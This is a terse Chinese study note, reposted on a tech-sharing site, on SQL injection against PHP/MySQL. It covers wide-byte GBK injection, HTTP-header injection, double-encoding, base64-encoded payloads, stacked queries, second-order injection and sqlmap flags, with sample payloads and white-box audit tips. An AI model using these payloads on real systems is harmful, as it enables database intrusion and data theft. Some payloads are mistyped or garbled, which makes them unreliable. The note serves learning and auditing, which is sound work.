标签:字节 addslashes MYSQL 函数 其他 mysql query 注入
if(length(database())>1,seelp(5),1)
双字节编码
set character_set_client=gbk
连续两个字节,都符合gbk取值范围时会自动解析为一个汉字
第一个(81-FE)第二个(40-FE)
白盒审计
看编码格式是否为GBK格式
是否使用了preg_replace()函数
addslashes()函数进行转义
是否使用了mysql_real_escape_string()函数进行转义
mysql_query+addslashes() 函数使用会存在宽字节注入
mysql_query+real_escape_string()函数,存在宽字节注入
mysql_set_charset+addslashes()函数,存在宽字节注入
mysql_set_charset+mysql_real_escape_string()函数不存在宽字节注入
http头注入点
User-Agent 、cookie、X-Forwarded-For、Client-ip、rerferer、host、等等......
造成原因:web程序将用户提交的http请求头信息未作过滤就带入了数据库执行
insert into uagents('uagent','ip_address','username') values('xxxxx','xxxxx','xxxxx')
a' and extractvalue(1,concat(0x7e,(select version()),0x7e)) and 'a'='a
二次编码注入
?id=1%2527 >>传到服务器,服务器进行解码1%27 >> addslashes编码>>1%27 >> urldecode()再次解码1’
addslashes($_GET['id']) >> urldecode($id)/rawurldecode()
原因是两个函数顺序颠倒,应该先urldecode()/rawurldecode()>>再addslashes()
base_64注入,‘)闭合
admin’)and extractvalue(1,concat(0x7e,(select database()),0x7e))-- -
编码后YWRtaWundefinedZKWFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKS0tIC0=
堆叠注入
mysql+php 特殊:mysqli_multi_query支持 mysql_query不支持
mssql+any api
oracle+any api 不支持
堆叠注入的前提是需要知道数据库的相关信息,如表名,列名.....
1';version();-- -
未完!!!
二次注入:在数据取出时未作过滤造成
修复进行转义,addslashes()
-u 网址
--dbs 查看所有数据库
--current-db
标签:字节,addslashes,MYSQL,函数,其他,mysql,query,注入 来源: https://www.cnblogs.com/PatrickStar88888888/p/15225306.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。